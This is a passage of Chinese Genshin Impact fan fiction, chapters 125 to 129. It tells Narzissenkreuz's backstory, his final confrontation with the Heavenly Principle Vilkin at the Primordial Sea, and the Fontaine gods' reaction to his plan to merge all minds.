“厄里那斯与您,本质皆源自世界之外的缥缈星空与深邃虚妄,是提瓦特的外来者与污染者。但为什么?” 齐森科鲁兹死死盯着维尔金,不放过对方脸上任何一丝细微的变化,“为什么一个外来者的核心——即便你拥有的事那位原初之人法涅斯遗留的躯壳也不该能够如此顺畅地链接、理解,甚至在一定程度上操控提瓦特最古老、最本源的子宫。可是,您明白,这不合常理。” 他的言外之意溢于言表,虽然并不知道一切的缘起真相,但人类已经在千年的发展中偶然堪破了些许秘密。 如果链接和操控胎海的能力,仅仅源于“法涅斯的身躯”,那么,这具身躯的原主人法涅斯,与原始胎海又是什么关系? 更进一步,继承了这身躯、行使着天理权能却本质与深渊无异的虚假之天,其存在本身,是否从一开始,就与这个世界的本源有着比管理者更深层的纠缠? 再大胆些—— 纳齐森科鲁兹残破的身躯因这个骤然划过脑海的猜想近乎兴奋地发抖,而是一种近乎癫狂的兴奋,血液的流失与核心的碎裂带来了冰冷的死亡触感,但思维的火焰却燃烧到了前所未有的炽烈程度。纳齐森科鲁兹他想到了一个非常可怕、却足以颠覆世界的猜想—— 有没有一种可能,那些污染提瓦特原生五中的深渊污秽也好,来自星空一如厄里那斯般只要占据肉身就能存活在提瓦特的拥有深渊本源的魔物也罢,还有那些来自星空能使知识渊博的学者瞬间陷入疯狂的无形态之物,他们本质上,都是一种东西—— 他们唯一的区别是,有无提瓦特原生的躯壳。 没有,他们就去侵占本土物种的肉身。又因他们无固定形态,哪怕是隔空对视产生的交集也能使得生物被污染,而被污染后的狰狞形态就是不成熟条件下,深渊魔物附身的情况。 而如厄里那斯这般,虽有从前的视野,但随着时间的推移,连本质也会逐渐适应被俯身的躯壳——厄里那斯死了四百余年,污染确实越来越小,而从刚刚的对话来看,其内在人性也越来越强。 而天理——这是纳齐森科鲁兹第一次见到如此传说级别的人物,但也与典籍之中的描述大相径庭。无限接近死亡之后,纳齐森科鲁兹的脑子反而越发清晰,先前种种都在脑内串联,进而的得出一个惊天的猜测—— 提瓦特内外是没有区别的!净化的深渊、驱逐的魔龙、还有奋起反抗的人—— 他们本质是一样的! 也就是说,如果某一天,当毁灭提瓦特的末日来临,他们完全不必拘泥于这一方土地,完全可以去更美好的世界! 他要去验证这个猜想。如果这样,他们完全没有必要惧怕语言! 世界毁灭也好、怎么也罢,他们完全可以将整个提瓦特溶化为一个庞大的集合意识体,若是魔神和天理能够加入其中,他们甚至能够以提瓦特这片狭小有限的大陆作为起点,去寻找新的、更适合他们生存的新世界。 雅各布被突然出现、擅长使用空间能力的奇怪女人缠住,他也被碾碎了核心。 没有下一次机会了。 他们不可能是神明的对手,与其浪费最后的时光,不如放手一搏,临死前知道世界的真相……足矣。 纳齐森科鲁兹重新燃起斗志,雷内当年没能说服阿兰,他今天能说服天空岛的主人吗? 如果是天理,应该能够理解他的愿望吧? 为了生存、为了更美好的明天、为了那些已逝的即将逝去的…… “回归胎海吧。” 这提议不像命令,更像一个早已看清结局的劝告,维尔金不解,话里带着一丝不易察觉的疲惫,“与你无关的、甚至与结果无关的真相真的有那么重要吗?比你这即将消散的存在本身,更重要吗?” 纳齐森科鲁兹的动作僵住了。不是因为力量被压制,而是因为维尔金话语中那过于透彻的、仿佛早已洞悉他所有思维路径的淡然。但他眼中那狂热的火焰并未熄灭,反而烧得更旺,那是他毕生执着凝结成的最后结晶。 他转过头,用尽最后的力气,声音嘶哑却异常清晰,一字一句地,掷出他生存至今最根源的驱动力,也是对维尔金那“是否重要”之问的终极回答: “我永远都记得……我解读出末日预言的那一天。” 他的目光穿透了时间,回到了那个决定一切的瞬间。 当我知道这个世界,连同其上所有的欢愉、痛苦、记忆与可能……都‘注定’走向毁灭的那一刻起——” 他破碎的身体挺直了些,那是一种精神上最后的、不屈的姿态。 “——我就决心,要找到让所有人一起活下去的办法。时至今日,我仍然认为我正确无比。” “况且,这不是‘与我无关’的真相,这是‘所有人类应当知晓’的事件。” 他扯出一个近乎惨淡的笑容,混合着学者的骄傲与殉道者的疯狂,“这是构成我「纳齐森科鲁兹」活到今天意义的全部。如果世界的根基本身就是一个矛盾的谎言,如果拯救的可能就藏在最可怕的真相里……那么,知晓它,就是我的活下去,是我赋予包括我在内的所有人的……最后机会。” “即使那真相无比绝望吗” 维尔金的目光最后一次锐利地刺向眼前认识不到24小时的男人,真是神奇,他想,他好像在一个已经与长生种无异的人类身上再度看到了那份力量——那是在璃月看到的,面对哪怕是在魔神之中也算实力强劲的奥赛尔面前,面对必死的局面前都不顾一切做最后一搏的勇气。 “末日就是绝望本身,可维尔金先生,没有比让活生生的人类做提线木偶更加痛苦的事情了。” 话音落下,他不再等待回答,也不再去看维尔金可能出现的任何反应。他将残存的所有意识与力量,化作一道决绝的、投向胎海方向的感知利箭,同时,他的物质形体开始加速崩解,蓝紫色的光点从他身上飘散,仿佛主动开始了某种意义上的回归。 是融入胎海就此化作一道无痕的波纹,还是得一线生机、甚至解答贯穿提瓦特的秘密,皆在此一举。 齐森科鲁兹脑海忽然回闪了很多人。他杀的,想杀他的,形形色色流过脑海,直到定格在一处—— 那时一切都尚未开始。 雷内·德·佩特莉的伙伴与朋友不只有雅各布一人。 阿兰总是爱扮作勇者,他总是恶龙,鲜花总是盛开在水仙十字院,脑子不太清晰的院长纵使会喃喃讲出一些可能她自己都记不清的故事,很多人围在一起,又分道扬镳。 原来,真的这么久了。 第125章 第 125 章 命运从不喜善待可怜人…… 阳光毫无阴霾地洒在水仙十字院略显古旧却温馨的回廊里。 他们奔跑在院中每一个开满不知名小花的角落。 玛丽安, 阿兰的妹妹,她有时是需要勇者拯救的公主,有时又会捡起树枝, 变成勇敢的骑士, 与哥哥并肩作战, 对付戴着纸板犄角的恶龙雷内。 笑声像阳光下的肥皂泡, 轻盈地飘荡在开满鲜花的庭院上空。 许多年后, 或许会有人翻阅档案,感慨这群日后成为声名赫赫之大人物的孩子们命途之多舛,身世之跌宕,进而联想到大人物们总是命运不凡的种种故事,但对雷内而言, 那都不重要。 鲜花年复一年地盛开,副院长贝瑟的烤饼干技艺似乎在缓缓进步,莉利丝院长的故事永远温柔而破碎, 孩子们的个头在抽条, 友谊在滋长。一切仿佛都在向着温暖、平静、好的那一面发展。 可那时他太很年轻,不直到命运的谶言已悄然降下。 水仙十字院并非永恒的避风港,坎瑞亚灾厄爆发的时候, 整个提瓦特的所有国度被卷入其中, 自然也包括了枫丹。 那一天, 天空被撕开了一道口子。紧接着, 战争开始了。 纯水精灵院长莉利丝踏上了遥远的远征, 前往甘露花海,归期渺茫。紧接着,副院长贝瑟·埃尔顿,那位总是试图用烤饼干温暖孩子们的退役军官, 接到了征召令回到枫丹舰队,出征对抗魔龙厄里那斯。 洪水第一次不合时宜地涨起,淹没了水仙十字院的低层。在院落完全沉没前,贝瑟副院长将雷内和雅各布暂时托付给了她儿时的玩伴、如今已是知名记者的卡尔·英戈德。她揉了揉两个男孩的头发,笑容之下是对掩饰不住的、对他们的担忧:“听卡尔叔叔的话,我很快回来。” 她再也没有回来。 贝瑟战死于对抗厄里那斯的战役。雷内和雅各布顺理成章地成为了卡尔的养子。卡尔是个有趣的大人,他也很好。他会带着孩子们冒险、采访、见识广阔的世界,试图用阅历和广袤的世界弥补他们失去的亲情。 某种程度上,他成功了。雷内甚至觉得,如果该死的命运能够在这里画上休止符,那他也能像个普通冒险家一样过完不那么圆满但是知足的一生。 可是世事无常——又或许,这就是他们的宿命。 卡尔带着他们以冒险家的身份深入甘露花海,探访坎瑞亚战争留下的荼泥黑渊遗迹,可不幸的是,他们低估了深渊力量的程度——他们万万也没有想到,被厄歌莉娅大人净化的、距离传说之中的世界树如此之近的地方居然仍有深渊的荼毒。 命运的齿轮再度转动。 雅各布在深渊气息的侵蚀下越来越虚弱,最终昏迷,生命垂危。面对可能再次失去重要之人的恐惧,雷内做出了第一个背离常规、滑向深渊的决定:他不顾卡尔的强烈反对,动用了他从坎瑞亚遗迹中理解到的、危险而禁忌的深渊力量,强行改造了雅各布的身体。 奇迹般的,雅各布活了,变成了无需进食、拥有超凡力量的存在。 但代价是,雅各布与常人之间,出现了一道无形的鸿沟。他的视野开始出现颠倒,旁人美的,他便觉得丑陋;旁人胆寒畏惧的,他却觉得可爱亲近;旁人觉得幸福的,他会觉得恐怖。 无论他们承认与否,命运再一次给出了奇迹的价格:雅各布不再是人类了。 除了还认识他这个兄长与养父卡尔之外,他的本质上已经成为了某种近似于深渊魔物的存在。 雷内要求雅各布继续保持进食的习惯,以掩饰这份异常——还好,雅各布还是雅各布。 秘密,开始滋长。 而更大的秘密,来自那些冰冷的坎瑞亚数据。他们从中推导出了名为 「世界式」的终极模型。 它不像模糊的预言,而像一道已被证明的数学定理,冷酷地展示着提瓦特的终局——第二次涨水期必将到来,届时现有文明将被彻底毁灭。更令人绝望的是,模型显示,若不引入系统之外的“变量”,雷内几乎可以断定这次毁灭之后,将不再有新的文明萌芽。 末日,从一个传说,变成了一个倒计时,沉重地压在了少年尚未完全成熟的肩头。 回到枫丹,雷内与雅各布疯狂地汲取一切古老知识。他们发现了古代教团描绘的命星图式,竟与世界式有惊人相似,但古人乐观地认为文明毁灭后会有新生——这给了雷内一丝扭曲的希望。他们又找到了黄金剧团遗留的强大术式—— 原以为是命运的又一次馈赠,却不料到这是一个无法勾到的梦幻泡影。 为了寻找对抗末日的力量与材料,他们的脚步迈向了禁区。他们偷偷越过封锁,钻进了那头已化为岛屿的巨兽——厄里那斯的残骸内部。在那里,他们感受到了巨兽体内残留的、未完全死寂的磅礴意志,更发现厄里那斯的血肉,竟与雅各布身上的深渊力量同源!在雷内还在权衡利弊时,雅各布已经主动触碰了那些散发不祥光泽的血液,并且,只产生了轻微的排异反应。 命运的安排竟然如此巧妙,一条危险而强大的道路,似乎在眼前隐隐浮现。而在他们为计划接下来实施而踌躇时,一个千载难逢、甚至可以说是冥冥之中推了他们一把的机会在此显现。 他们遇到了阿兰。 命运让他们在此时此地,与故人重逢。 阿兰已凭借卓绝的天分在自然哲学学院崭露头角,在养父埃马纽艾尔的监督下,与妹妹玛丽安在厄里那斯周边区域进行学术调查。 童年玩伴意外相遇,惊喜之余,但多年未见,隔阂已生。雷内选择隐瞒雅各布被深渊改造的真相,他无法信任埃马纽艾尔。幼时的魔龙和勇士已然悄悄分道扬镳,这份不信任,也悄然蔓延到了与阿兰之间。 尽管如此,阿兰仍向学院长德怀特·拉斯克引荐了才华横溢的雷内与雅各布。他们被暂时安置在阿兰的实验室,协助进行能源项目研究。在这里,他们结识了阿兰的助手,卡特·谢尔比乌斯。卡特是个善良的成年人,却常常因为跟不上阿兰和雷内这些天才跳跃的思维而暗自羞惭。 他们逐渐相熟、实验在雷内和雅各布刻意的隐藏下缓慢的进行。 又或许,本该直到雷内死去,他们都无法做出像样的成果——他们很难再遇到一个情况如此特殊、又能够值得信任的“自愿受试者”,雅各布的案例或许会成为孤例。雷内甚至做好了,在研究成熟阶段后用自己尝试的想法。 可是,也巧,卡特身患不明绝症。 命运给他一次重击,但他依旧像个真正的长辈一样,组织了一次前往雷内故乡佩特莉可镇的田野考察——他只是想带这些沉迷研究的孩子散心野餐。在开满鲜花的故乡旧地,童年的美好记忆短暂复苏,可很快又被别的东西覆盖——正是在这里,雷内发现了与黄金剧团相关的遗迹和一张残破地图,并结合实地水文观测,惊恐地确认:水位上涨的征兆已经出现,末日序幕正在拉开。 太荒谬了,太恶心了。 为什么每当他又稍微那么一点点想要停下、想要过上正常的生活时,命运都会推他一把。 如果院长还在、如果雅各布没事,如果没有在这次返乡中发现一切,他会不会走上这条道路呢? ——会,但绝不会如此仓促。 拯救文明的责任感,如同铁箍般紧紧攫住了他。 他将一切告诉好友,但阿兰坚信科学应循序渐进,对雷内所谓的末日推导和越来越激进的方向抱有根本性质疑。道不同,不相为谋。雷内向学院长申请了独立实验室,开始自己的研究。 他在学院内部秘密建立了结社,获得了研究厄里那斯死后衍生出的物质的许可,发现其蕴含强大力量但剧毒无比,唯有新人类特殊体质者可堪承受。学院长德怀特出于解决污染的实际考量和对老友卡尔养子的关照,默许了这些游走于危险边缘的研究。 最后一块多米诺骨牌,是卡特叔叔的倒下。 卡特的病情急剧恶化,陷入长期昏迷。经调查,很可能是致命的魔鳞病。学院长、阿兰、雷内用尽办法,无力回天。 雅各布提出了那个诱人而危险的建议:用改造他的方式,改造卡特。 雷内心中的天平剧烈摇摆。 对卡特叔叔的感情,对验证“新人类”普及可能性的渴望,与对未知风险的恐惧交织。最终,救世的执念压倒了谨慎。他们向卡特坦白了一切,并展示了深渊转化的过程。卡特,这位始终温和善良的长辈,在绝望中同意了这场豪赌。 只是,他们好像总是差一点步入幸福的运气。 雷内再一次失去了重要的人。 卡特没有成为“新人类”,而是在深渊力量的侵蚀下,扭曲成了一团不可名状的、痛苦的怪物。巨大的悲伤、恐惧和负罪感,如同海啸般淹没了所有人。 阳光、饼干、扮演游戏、鲜花的童年,至此彻底沉入了记忆的最深处,被深不见底的黑暗、沉重的使命、挚友的背离、失败的实验和末日倒计时的滴答声所覆盖。 他混混沌沌过了太久,浪费了太多时间,等到想起一切计划重新启动,时间已经到了迫在眉睫的紧要关头。 原始胎海溶解出了雷内几乎的所有记忆,维尔金心神松动些许:“你做的很好……但,有些事情,不是光去努力就足够的。放弃吧,好好休息,等待下一次的降世。” 雷内已经被彻底溶解了——这样说似乎也不对。 应该说,拥有强大非人意志的雷内,短暂掌控了这一小片原始胎海水的主导权。 他感受到了力量——源源不尽、取之不竭的力量,透过这种力量,他第一次对命运的逻辑有了一丝丝真切存在的感觉。他也终于能够明白,为什么天理总是一副“就算说了人类也无法理解”的、令人憎恶的居高临下之感。 确实是不一样的。 但是—— “这就是您与我们的不同。力量与生俱来,生来全知全能,命运与你眼中不过既定,一切事情似乎都被囊括在最小代价的限度范围之内,但是人就是这样的。” 雷内始终坚定—— “您不能向对待无知宠物一样对待有智慧的生命。” “这太自私了。” 第126章 第 126 章 绝望的世界之外 维尔金想, 他很自私吗? ——或许吧,只要以自身为出发点做事,很难顾及到所有人, 很难不被称之为自私。只是自身的边界划在哪里, 而所有人一词又包含了多少重量? 人类总觉得世界的灭亡与自己休戚与共, 但老实说, 时间没他们想象得那么紧促, 问题也没他们想象得那么简单。而且,人总是需要一点点脆弱的希望和盼头才好活下去。 人总是容易陷入一种悲壮的时间感。他们察觉到一个危机的苗头,便觉得世界的灭亡与自己这一代休戚与共,必须立刻做点什么,哪怕倾尽所有、颠覆一切。 那种急迫, 维尔金理解,甚至有些怀念。 时间没他们想象得那么紧促,起码对于人类而言, 灾难的酝酿往往漫长到足以让警示本身变成神话传说。那些久远过头的问题涉及的更是世界本身, 也远比他们想象得更加复杂。拯救不是一个简单的开关,不是找到一种强大的力量替换掉旧有的就能成功。那是一个牵扯万物、牵一发而动全身的精密系统,一个大胆到稍有不慎就可能满盘皆输的赌局。 弱小的生物总是需要一点点脆弱的希望和盼头才好活下去。哪怕那希望建立在误解之上, 哪怕那盼头如同晨曦的露水, 于弱者而言彻底扯掉这层帷幕, 未必是仁慈。 只是, 弱小本身意味不到自己是弱小, 尤其是在长生种非人类远离尘俗,已然成为久远神话故事的如今。 这么多年,那些钻研古史、解读预言、试图窥探世界真相的学者们,前赴后继, 聪明绝顶。但他们好像总是不愿,或不敢,去细想一个最简单、也是最让人脊背发凉的问题—— 拥有如此多辉煌又脆弱文明的大陆,提瓦特,为何会被他如此精心地包裹起来?天空的虚假之天,边界的坚固障壁,乃至历史中不断被抹去的国度,一切,难道仅仅是为了“囚禁”吗? 凡存在,必有原因。 如果他们肯暂时放下“反抗囚笼”的浪漫设想,去思考另一种可能性呢? 维尔金只是笑了笑,那笑容里没有多少愉悦,更像是一种尘埃落定后的平静,甚至带着一丝几乎无法察觉的悲悯。他对准纳齐森科鲁兹那即将彻底融入胎海的意识核心,轻声说道: “那我让你看看真相吧。真正的、毫无修饰的……‘外面’。” 他的话语如同钥匙,轻轻旋开了认知的某道枷锁。 “希望之后,你还会觉得所有人类,都应该看到这副可悲的景象。无知,有时是一种残忍的保护。” 真相总是简单至极。 维尔金的本体很大,大到可以囊括整个提瓦特;维尔金的本体又很小,小到对于整个宇宙而言,不过萤火之光之于皓月。 提瓦特外面的世界并非学者幻想里的桃源乡。 简单到不需要任何史诗描绘,不需要任何哲理论证。当维尔金将那份被重重屏障隔绝的“实感”传递过去时,纳齐森科鲁兹看到的,并非任何具体恐怖的景象。 而是一片虚无。 不是黑暗,不是虚空,而是概念上的贫瘠与死寂,没有回应,连存在与不存在的区分都变得模糊。那里没有星辰可以寄托愿望,没有土地可以承载生命,没有元素或任何可供理解的能量流动,任何提瓦特内被视为灾难的事物——战争、污染、毁灭于外面的绝对荒芜相比,都瞬间拥有了近乎繁荣”色彩。 提瓦特外面的世界,并非学者们幻想中可能存在的、更广阔自由的“桃源乡”。 那里什么也没有。 提瓦特,这个布满裂痕、充满不公、不断上演着诞生与消亡戏剧的微小世界才是混沌虚空中,唯一、且最后的立足之所。 那……古龙呢?” 带着学者追究证据般的、最后的本能,他喃喃: “那些更古老的、原初的龙……它们不是被驱赶出了提瓦特么?在传说与破碎的记录里,它们曾愤怒地反攻,却失败了……” 他的意识聚焦于此,如同溺水者抓住最后一根稻草。如果“外面”是纯粹的虚无与荒芜,是连“存在”都难以维系的可悲景象,那么—— “是了,如果外面的世界,真是一片等待探索的、更广阔自由的新大陆,是应许之地……” 那么,那些被驱逐的古龙,为何要拼尽一切,忍受巨大牺牲,发动一场看似绝望的反攻?甚至于失败后,也没有再试图离开。 它们应该在外面的新大陆上翱翔、重建,休养生息才是。它们不会,也绝无必要,如此急切地、近乎自杀般地、如此紧迫地2想要回来。 只有一个原因,能解释这种飞蛾扑火般的、指向囚笼的疯狂反扑: 被驱离家园的确痛苦,但被流放到那片虚无中,则是比死亡更恐怖的终结。所以,它们宁可死在杀回囚笼的路上,也不愿在那片“外面”多停留一瞬。 这个基于古老存在行为反推出的结论,如同最后一记重锤,彻底砸碎了纳齐森科鲁兹意识中任何残存的、关于对命运不甘的怒号。多么可悲啊,普通人认知之中的偌大世界居然知识一方被卵壳包裹的无知花园。 提瓦特注定毁灭,而外面又是一片虚无。 怪不得,怪不得……为何天理会限制长生种,为何人类的兴盛伴随着古龙的衰亡,为何那些传说中,有能力窥看至世界之外的伟大王国,无一例外皆化作尘土。 ——等等! 那深渊的力量和禁忌知识呢? 那又从哪里来? “我以前也有过这样的提问啦,但是你可以联系着你之前问我的问题——为什么我能感知到原始胎海水内部呢?如果你把深渊和星空漂荡的无知生物们看作「死」,而提瓦特内的大家看作「生」——” 维尔金顿了一顿。 “是不是有些问题就啊迎刃而解了呢?” ——外面的世界并不一开始就是虚无,他们确实也曾如提瓦特一般勃勃生机。 提瓦特并非最先迎接末日的世界。 维尔金叹了口气,在漫长的时光中,他已然参透了法涅斯的两句谶言—— “灾难有二,与之对应,奇迹有二。” “其一为「身」。天空拥有形体,影子拱卫天空。树根连接血管,大地融入骸骨,死亡即是永生。” “其二为「理」。开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄,谜底即在谜面。” 第127章 第 127 章 困惑 曾经, 维尔金的思路被局限在这一方小小的提瓦特。 于是他理所当然地认为第二句话自然是对应着未来即将面临的危机以及解决之法。 在他漫长的执政生涯之中,他将所有注意力都投向了内部,投向了七国、投向了地脉、投向了人类与非人类的纷争, 竭尽全力地在注定的终焉来到之前让提瓦特以损耗最低的方式度过这一漫长的时光。也因此, 非人类长生种们的活动必须得到遏制—— 越弱小的生物受到的先知越少, 因为他们的存在对于提瓦特而言微乎其微。 而强大且寿命悠长的魔神魔兽, 注定不能存在太多。 甚至于, 这些强大的非人类只要死去,留下的力量都足以人类生活千百年,所谓一鲸落而万物生,于是维尔金在把龙王门赶出提瓦特的第一件是就是屠杀。 世人皆知天理对人类无端的偏爱和对非人长生种无端的排挤。 哪怕是自己的得力干将维系者,也有相当长的一段时间完全搞不懂自己的顶头上司到底在打什么鬼主意。 ——说他疯狂残忍, 可只要安心蜷缩于暗之外海,也能平平安安地活到现在。 ——说他宽容大度,可当年那些心存侥幸、甚至只是犯了些在大多数魔神眼中一介小小错误的存在, 却也被他毫不留情地统统剿灭。 这么多年来, 这世上恐怕没哪个统治者还能当得比他还不得民心,哪怕是共事之后意识到这位上司并不如前几千年那般喜怒无常、偶尔还敢彼此之间开开玩笑的现在,也没人问过他为什么这么做。 维尔金猜测, 估计是又怕他莫名其妙地再掀起一场战争。 但他不会这么做了。 没用的。 这不是某个物种死亡就可以终结的灾厄, 也不是说谁赢谁输的战争, 哪怕是整个提瓦特的生物死绝, 也不能让以不可阻挡之势流失生命之源的地脉, 再度复生。 维尔金甚至都极少再去主动清理深渊,而是交给这一次重置后那些并没有死亡或被封印的魔神,让他们代劳,自己反倒是浑浑噩噩到现在。 这些同类露出的、毫不掩饰的生存渴望, 像一道撕裂迷雾的闪电,毫不留情地撕开维尔金自以为是的决断。 他再次想起法涅斯离去前,用那种饱含深重可惜与无尽不舍的语气,留下的第二句话: “其二为「理」。开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄,谜底即在谜面。” 当时他不懂,以为这是只是悲观的预言。但结合本体外那吞噬一切的虚无,以及同类们挤破头也要钻进这片花园的疯狂景象,他忽然明白了法涅斯为何是那种神情。 那并非对维尔金个人的不舍,而是对这个世界、对所有诞生于此的美丽而脆弱的生命,那早已被注定的、循环路径的哀悯。 ——原来在你眼中,从这个世界被创造、被从虚无中隔离出来的开端那一刻起,它的结局就已经写定了吗? ——原来在你眼中,这个世界注定行走在绝望的道路上吗? 世界外的生灵们也曾活着,也曾沐浴在阳光之下,享受生命。 纵使他们早已失去形态、失去知性,可一点从裂缝中挤入提瓦特,纵使视野之中仍是是非不分黑白颠倒,也在用尽全力享受这抢夺来的生命。 维尔金无法评价这种作为的正误。 法涅斯给他留下了一个,或许他自己也无法解决的难题。 “那么你呢?名为雷内的前人类。”维尔金抛出他的问题:“你责怪我将问题的根源藏着掩着,那么既然你现在知道了真相,不妨告诉我你的答案——” “你曾责怪我将问题的根源藏着掩着那么,既然你现在已经看到了全部的真相——看到了这片花园的脆弱,看到了外面无边的饥饿与虚无,看到了我们所有人都坐在同一艘驶向未知、却不断被饿殍拍打船舷的孤舟之上……” 维尔金顿了顿,他的问题直接穿透了一切表象,指向了那个连他自己都徘徊不定的核心: “不妨告诉我你的答案——以你曾为人类、曾为救世主、也曾触摸深渊、最终知晓了一切‘徒劳’的……全部视角。” “我,天理,到底该怎么办呢?” “是紧锁门窗,护卫已有的灯火,哪怕门外哀嚎遍野?还是打开一道缝隙,赌上一切,尝试分享这最后的烛火,哪怕可能引火烧身,让所有人一同坠入冰冷的黑暗?” “还是拯救呢?像你的想法一样,意识的集群,拯救所有人?” 这既是一次提问,或许,也是一次对另一种可能性的、微乎其微的探寻。在雷内即将彻底失去自我的最后一刻,他那融合了人性、智慧、偏执与最终幻灭的复杂视角,是否会迸发出超越维尔金自身循环思维的、刹那的闪光? 寂静笼罩。只有原始胎海,这生命最初的源头与最终的归宿,发出永恒而温柔的波涛声,仿佛在等待着一个注定不会有回音的答案,又仿佛早已包容了所有问题的无解。 天空岛的主人,虚假之天,本质为深渊的伪物,创世者的影子,每一个广为人知的身份都有他该做的事。 天空岛的主人应当维系提瓦特的统治,在世界变得乱糟糟之前解决好一切; 虚假之天应做好区别提瓦特与那绝望的本分,维持虚假的平和; 本质为深渊的伪物理应回归自己的族群,毕竟他们殊途同归; 创世者的影子又似乎该拯救这个世界,因为这是法涅斯的愿望。 那,维尔金自己呢? 第128章 第 128 章 应该影响不大 “这就是天理最后的问题了。” 雷内, 或者说,那由无数混杂意志、深渊力量与原始胎海水共同维系的、名为“纳齐森科鲁兹”的水形幻人,发出了最后平稳的声调。他的形态在芙宁娜与那维莱特面前微微波动, 映照着沫芒宫窗外永恒的人造天光, 透出一种非人的静谧。 “很不幸, 我的力量仍不足以与星球的胎海相抗衡, 甚至来不及在失去意识前抓住这一宝贵的机会, 回答他的疑问。” “咦?”芙宁娜睁大了眼睛,身体不自觉地前倾,戏剧性的好奇本能压过了场合的凝重,“你已经……在消散之前,想好答案了吗?” 她忍不住追问, “是什么呢?快说说看!这很重要!” 水形幻人转向她,面容模糊,语气异常坦荡, 甚至带着一丝属于学者陈述结论的清晰:“芙卡洛斯大人, 基于我所知的一切,我依然认为,我最初的计划——意识的汇聚与融合, 不仅在方向上是可行的, 甚至可以说, 就是唯一的出路。” “维尔金大人的困惑主要在于他对自己的身份出现了认知错位——或许有什么东西动摇了他的想法, 总而言之, 他觉得天理应该做的,名为「维尔金」的个体不能做。”纳齐森科鲁兹平静地剖析,仿佛在讨论一个与己无关的课题,“那既然如此, 解决这个矛盾的方法,不就显而易见了吗?消除个体与群体的边界,让每一个个体都成为群体意志的载体与表达,让每一个群体都包罗所有个体的差异与可能。当自我与全体的界限消失,要守护的所有,与他所是的自我,将成为同一件事物。这难道不是最完美、最彻底的解决方案吗?不再有孤独的抉择,不再有牺牲的愧疚,只有共同的存续。每一个个体都是群体,每一个群体都包罗万象。这不是最好的解决办法吗?” “……” 芙宁娜张了张嘴,一时不知该如何反驳这被绕的发麻的逻辑。 “……我大概能够理解维尔金先生的想法,以为我敢笃定,他不会接受这样的方案。” 一旁沉默的那维莱特终于开口。他眉宇间凝聚着沉重,取回古龙大权之后,他对原始胎海的理解已远超凡人,甚至超越了许多神明。 “纳齐森科鲁兹,你与雅各布是幸运的,但不是每个人都会如此幸运。大海确实包罗万象,无数溪流江河汇入,也不会立刻改变其浩瀚的本质。按照雷内先生的计划,将整个提瓦特所有种族、所有智慧与生命的意识都投入原始胎海的计划……” 那维莱特略微停顿,给出了一个冷酷的估算,“保守而言,以胎海的同化速度,那庞大而脆弱的集群意识,最多只能维持短短百年,甚至更短。你所想象得完美整体性,会比现在残破的个体更易溃散、沉淀、更易归于彻底的混沌。” 芙宁娜的脸色瞬间白了,她似乎想象到了那幅景象。 在那样无边无际、消融一切形状、将生命回归本源的原始胎海中,不够坚韧、不够特殊的个体,就像投入漩涡的沙粒。对于普通的生物——人也好,甚至是野兽也好,其存在、独特的记忆、情感、自我认知,会瞬间被碾碎、稀释。 所谓的集群意识,最终只会变成一个不断吞噬又消化着无数尖叫与遗忘的水滴,而绝非一个能进行理性思考与感知的超级生命。个体,一定会被更强大的个体吞没。这不是升华,而是种对存在本身更彻底的抹杀。 “那些弱小的存在很快就会被碾碎,个体一定会被吞没在无边的集群意识体中。””我和雅各布的存在,已经证实了融合深渊力量,可以强化意识,抵御同化。” 水形幻人坚持道。 “确实如此,”那维莱特并未否认,但是话锋一转,“吞食杂质起初是需要耗些功夫,后面就会非常快。以及,真正的、处于提瓦特最底层和世界屏障之外那个交界处的原始胎海……其同化与回归的本能强度,恐怕你们还不曾接触。” “是也不是,维系者大人之前跟我说,在分界的门阀处发现了一个有深渊力量的人类。”厄歌莉娅缓缓抵住太阳穴,头疼得要命,“果然还是不能放任上司自由活动,纳贝里士前辈那边,一接到维系者大人质问的通讯,就被足足教训了三个小时关于协同监管不力的问题,现在还没完全缓过劲来。” “原来如此,我还在思考为何水位短暂上升后就迅速回落……不符合原始胎海的规律,原来还有这样的意外。” 那维莱特恍然:“就像维尔金大人之前说的,原始胎海的回归本能……老实说,我觉得一个年轻人能精准找到我们设下禁止的门阀,还恰好攻击到其最薄弱处本身就是命运的安排。”厄歌莉娅烦死了,“老大人呢?他再不来我们就得研究下是暴力退水还是顺应语预言了。” “厄歌莉娅大人。” “?” 芙宁娜几乎快要哭出来了,手里捏着一份刚刚由微缩水形信使送达的、带着浓郁胎海气息和一丝摆烂情绪的简短讯息,:“维系者前辈说,维尔金大人扎进原始胎海泡着了,让我们先稳住门阀,不要泄洪也不能压低水位线。” 沫芒宫内,陷入了短暂的沉默,厄歌莉娅彻底无语,如果这不是枫丹,她早就甩手不干了。 厄歌莉娅深吸了一口气,再缓缓吐出,她用了极大努力才平复好心情。此时她脸上最后一丝随意消失了,取而代之的是属于古老神明的严肃与决断。她走向芙宁娜,双手重重按在后者的肩膀上,目光灼灼: “看来,计划永远赶不上变化。芙卡洛斯。” 芙宁娜:啊? “我一直认为,你可堪大用,是一位不可多得的、拥有独特品质的完美继承人。” 她语气郑重,把芙宁娜哄得一愣一愣的:“我吗?” “现在,和你的眷属一起,肩负起水神——不,是在此非常时期,暂时肩负起维系枫丹乃至提瓦特边界稳定的责任吧! ” “至于泡在胎海里的维尔金大人……” 厄歌莉娅望向窗外遥远的海平线,嘴角露出一丝复杂的、近乎无奈的弧度。 “原始胎海对他应该……影响不大吧?” 第129章 第 129 章 所谓弥天大谎 “我感觉有人在骂我。” 深海之下, 绝对的寂静被一声懒洋洋的嘟囔打破。一个与周遭环境格格不入的金色身影悬浮在原始胎海那变幻莫测的涡流光晕中,与周遭缓慢蠕动、意图同化一切的环境显得格格不入。 维尔金揉了揉鼻子,对身旁那位白发如瀑、连衣袍都似乎凝固着空间法则的维系者抱怨道:“你是不是趁跟芙卡洛斯传讯的时候诋毁我的形象去了?” “你的形象早就已经烂完了, 又不是一天两天的事情, 犯不着我浪费时间诋毁。”维系者面无表情, 她终于侧过头, 那双倒映着秩序符文的目光落在维尔金身上, “还有,你能不能别想一出是一出,我很忙的好吗?” 维尔金使唤其名义下属来可谓是毫无愧色,甚至有点理直气壮:“这不是让你来出出主意,纳齐森科鲁兹的办法固然有其缺陷, 但也不是毫无可取之处。” 维系者早就习惯维尔金这有一出没一出的鬼样子,耐着性子问:“比如?” “普适化不是最好的选择,与其让所有人共沉沦搏一线生机, 倒不如效仿法涅斯的做法。” 维系者周身几乎不可察的空间涟漪瞬间凝滞。她危险地眯了眯眼睛, 那张永远缺乏表情的脸上,第一次流露出一丝极其细微的、近乎锐利的审视。 